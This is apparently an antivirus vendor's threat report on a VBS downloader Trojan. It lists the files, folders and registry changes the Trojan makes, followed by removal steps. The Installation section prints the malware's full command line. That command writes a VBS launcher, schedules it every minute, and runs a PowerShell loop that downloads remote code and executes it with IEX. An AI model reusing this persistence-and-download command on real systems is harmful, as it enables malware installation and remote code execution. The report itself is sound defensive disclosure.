ALIASES:

VBS/DwnLdr-YZT (Sophos)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 1,451 bytes
File Type: VBS
Memory Resident: Yes
Initial Samples Received Date: 09 Nov 2019

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • "%System%\cmd.exe" /c echo Set objShell = WScript.CreateObject("WScript.Shell"): iNumberOfArguments = WScript.Arguments.Count: counter = 0: While counter ^< iNumberOfArguments: args = args + " " + WScript.Arguments(counter): counter = counter + 1: Wend: args2 = Trim(args): args = Replace(args2, "##","'"): objShell.Run args, 0, False > %User Temp%\..\Platform.vbs & schtasks /create /F /sc MINUTE /tn PlatformTask /tr %^TEMP%"\..\Platform.vbs cmd /c powershell -c \"$i=0;$W=New-Object Net.WebClient;$c=##($R -eq $null -and $i -lt 3){$R=$W.DownloadString($c);If($R.contains(##Z/7##)){IEX $R;}$i++;Start-Sleep -s 1}\""
  • %System%\svchost.exe -k WerSvcGroup
  • %System%\sppsvc.exe
  • %System%\svchost.exe -k LocalServiceAndNoImpersonation
  • "%System Root%\Program Files\Windows Media Player\wmpnetwk.exe"
  • %System%\sc.exe start w32time task_started
  • %System%\sdclt.exe /CONFIGNOTIFICATION
  • taskhost.exe SYSTEM
  • %System%\wsqmcons.exe
  • taskhost.exe $(Arg0)
  • %System%\svchost.exe -k LocalService
  • fsquirt.exe -Register

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

It creates the following folders:

  • %AppDataLocal%\Microsoft\Windows\Burn\Burn
  • %Windows%\ServiceProfiles\NetworkService\AppData\Local\Microsoft
  • %User Temp%\WPDNSE

(Note: %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other System Modifications

This Trojan deletes the following files:

  • %Windows%\Tasks\PlatformTask.job

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It adds the following registry keys:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Explorer\
CD Burning\Drives\Volume{{GUID}}\
Current Media

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\HomeGroup\
UIStatusCache

It adds the following registry entries:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Explorer\
CD Burning\Drives\Volume{{GUID}}
Drive Type = "16"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Explorer\
CD Burning\Drives\Volume{{GUID}}
IsImapiDataBurnSupported = "1"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Explorer\
CD Burning\StagingInfo\Volume{{GUID}}
DriveNumber = "3"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Explorer\
CD Burning\StagingInfo\Volume{{GUID}}
StagingPath = "%AppDataLocal%\Microsoft\Windows\Burn\Burn"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Explorer\
CD Burning\StagingInfo\Volume{{GUID}}
Active = "1"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\HomeGroup\
UIStatusCache
UIStatus = "560"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\HomeGroup\
UIStatusCache
OnlyMember = "0"

It modifies the following registry entries:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\W32Time
Type = "16"

(Note: The default value data of the said registry entry is 20.)

It deletes the following registry keys:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Explorer\
CD Burning\StagingInfo\Volume{{GUID}}\
DriveNumber

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Explorer\
CD Burning\CD Recorder Drive

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\NlaSvc\Parameters\
Internet\ManualProxies\(Default)

Dropping Routine

This Trojan drops the following files:

  • %All Users Profile%\Microsoft\Windows\DRM\v3ks.sec
  • %All Users Profile%\Microsoft\Windows\DRM\drmstore.hds
  • %AppDataLocal%\Microsoft\Media Player\CurrentDatabase_372.wmdb
  • %AppDataLocal%\Platform.vbs

(Note: %All Users Profile% is the common user's profile folder, which is usually C:\Documents and Settings\All Users on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit). . %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Trojan connects to the following possibly malicious URL:

  • {BLOCKED}.72.187

This report is generated via an automated analysis system.

  SOLUTION

Minimum Scan Engine: 9.850

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Identify and terminate files detected as Trojan.VBS.POWLOAD.GFDM

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 3

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CD Burning\Drives\Volume{{GUID}}
    • Current Media
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\HomeGroup
    • UIStatusCache

Step 4

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CD Burning\Drives\Volume{{GUID}}
    • Drive Type = "16"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CD Burning\Drives\Volume{{GUID}}
    • IsImapiDataBurnSupported = "1"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CD Burning\StagingInfo\Volume{{GUID}}
    • DriveNumber = "3"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CD Burning\StagingInfo\Volume{{GUID}}
    • StagingPath = "%AppDataLocal%\Microsoft\Windows\Burn\Burn"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CD Burning\StagingInfo\Volume{{GUID}}
    • Active = "1"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\HomeGroup\UIStatusCache
    • UIStatus = "560"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\HomeGroup\UIStatusCache
    • OnlyMember = "0"

Step 5

Restore these modified registry values

[ Learn More ]

Important:Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this only if you know how to or you can seek your system administrator's help. You may also check out this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\W32Time
    • From: Type = "16"
      To: Type = ""20""

Step 6

Search and delete these components

[ Learn More ]
There may be some components that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %All Users Profile%\Microsoft\Windows\DRM\v3ks.sec
  • %All Users Profile%\Microsoft\Windows\DRM\drmstore.hds
  • %AppDataLocal%\Microsoft\Media Player\CurrentDatabase_372.wmdb
  • %AppDataLocal%\Platform.vbs

Step 7

Search and delete these folders

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • %AppDataLocal%\Microsoft\Windows\Burn\Burn
  • %Windows%\ServiceProfiles\NetworkService\AppData\Local\Microsoft
  • %User Temp%\WPDNSE

Step 8

Scan your computer with your Trend Micro product to delete files detected as Trojan.VBS.POWLOAD.GFDM. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 9

Restore this file from backup only Microsoft-related files will be restored. If this malware/grayware also deleted files related to programs that are not from Microsoft, please reinstall those programs on you computer again.

  • %Windows%\Tasks\PlatformTask.job

Step 10

Restore these deleted registry keys/values from backup

*Note: Only Microsoft-related keys/values will be restored. If the malware/grayware also deleted registry keys/values related to programs that are not from Microsoft, please reinstall those programs on your computer.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CD Burning\StagingInfo\Volume{{GUID}}
    • DriveNumber
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CD Burning
    • CD Recorder Drive
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NlaSvc\Parameters\Internet\ManualProxies
    • (Default)


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